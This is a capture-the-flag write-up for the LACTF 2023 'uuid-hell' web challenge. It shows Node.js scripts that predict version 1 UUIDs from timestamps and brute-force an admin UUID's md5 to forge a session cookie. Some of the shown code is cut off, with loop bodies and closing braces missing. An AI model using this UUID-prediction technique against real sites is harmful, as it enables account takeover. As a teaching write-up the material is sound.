← Back to Writeups

web/uuid-hell | LACTF 2023

Ruien Luo, Sun Feb 12 2023 • Tags: web, LACTF 2023

This challenge was part of LACTF 2023, where asmhole placed 33rd out of nearly 1,400 teams.

Challenge description

Author: burturt
UUIDs are the best! I love them (if you couldn't tell)!
Site: uuid-hell.lac.tf

Challenge Files Mirror: uuid-hell.zip


The challenge started off with a zip file and a pure html site where I was logged in as a user uuid (set in my cookies) and needed to find an admin uuid and set my cookie as such.


The homepage of the challenge

Poking around in the code, I found out out that the uuids are version 1, and there was a specific node id and clock sequence to use. This essentially meant that the uuids were extremely not random.


The clockseq and node ID were set in code

I did some research and found that the structure of a v1 uuid is as follows, and that high bytes don't really change:


Source: UUIDTools.com (opens in a new tab)

Knowing this, I wrote a piece of code to generate a uuid on my side and get the 60bit timestamp that represents the number of 100 nanosecond intervals since October 15, 1582 before/after calling /createadmin. (in the script, I ignored the high 12 bits of the timestamp since those don't really change.)

const crypto = require('crypto');
async function f() {
    var t = Date.now();
    console.log("time: " + t.toString(16));
    // convert to correct timestamp and into hex
    var act = (t*10000+122192928000000000).toString(16);
    console.log("time since 1582: " +  act);
    // take the last 8 chars of timestamp and 4-8th chars and put them in the uuid
    var luuid = act.slice(-8) + "-" + act.slice(3,7) + "-11ed-aa64-67696e6b6f69"
    // uuid before posting /createadmin
    console.log("likely uuid: " + luuid);
    console.log("likely md5: " + crypto.createHash('md5').update("admin" + luuid).digest("hex"));
    await fetch('https://uuid-hell.lac.tf/createadmin', {
        method: 'POST'
    }).then(res => res.text())
    .then(data => console.log(data));
    var t2 = Date.now();
    console.log("time: " + t2.toString(16));
    // repeat above except after posting
    var act2 = (t2*10000+122192928000000000).toString(16);
    console.log("time since 1582: " +  act2);
    var luuid2 = act2.slice(-8) + "-" + act2.slice(3,7) + "-11ed-aa64-67696e6b6f69"
    // uuid after posting /createadmin
    console.log("likely uuid: " + luuid2);
    console.log("likely md5: " + crypto.createHash('md5').update("admin" + luuid2).digest("hex"));
// call async function

After running this, the website showed an additional md5 hash at the end of the previous md5 list.


Before running the script


After running the script

The output was (These values have been obtained by repeating the process after the ctf):

time: 18647bfc6d2
time since 1582: 1edab24c6c7ab20
likely uuid: c6c7ab20-ab24-11ed-aa64-67696e6b6f69
likely md5: b7d8f2066f4ca8fc67a0ab069bb061cb
Admin account created.
time: 18647bfc996
time since 1582: 1edab24c733b360
likely uuid: c733b360-ab24-11ed-aa64-67696e6b6f69
likely md5: edfda35f71298e1a886ea0fdd82eb7a5

However, since sending POST request involves some delay (I didn't realize this for a while, which made me very confused why neither of my uuids were working), I needed to bruteforce from the upper value downwards (faster than upwards) until a md5 match was found with the new uuid md5 on the site. This was a slightly manual method that involved me taking the output last 8 characters of the second timestamp and putting it into this second bit of code (in decimal).

// This code has been modified to match the uuid/md5s shown in previous images
// second timestamp's last 8 characters converted into decimal
var start = 3342054240;
// md5 from the website that we need to brute force to
var tmd5 = "ffb14ee55fc7a363824681aebf6619ad";
const crypto = require('crypto')
function get() {
    // admin uuids have "admin" prepended to them before md5 is created.
    // prefill the middle bits of the timestamp, these don't change
	return crypto.createHash('md5').update("admin" + start.toString(16) + "-ab24-11ed-aa64-67696e6b6f69").digest("hex");
// runs while the md5 is not equal to target md5
while (get() !== tmd5) {
// this code stops on the value that matches the target md5.

This code stopped on the value c7261ed0. I added the rest of the UUID and now had a complete uuid of c7261ed0-ab24-11ed-aa64-67696e6b6f69, which I set into my UUID cookie and then reloaded the page.


The flag is returned since I have an admin uuid

Voila! The challenge is solved, and the flag is lactf{uu1d_v3rs10n_1ch1_1s_n07_r4dn0m}. Quite appropriate, given the content of the challenge.


Send me an email at [email protected].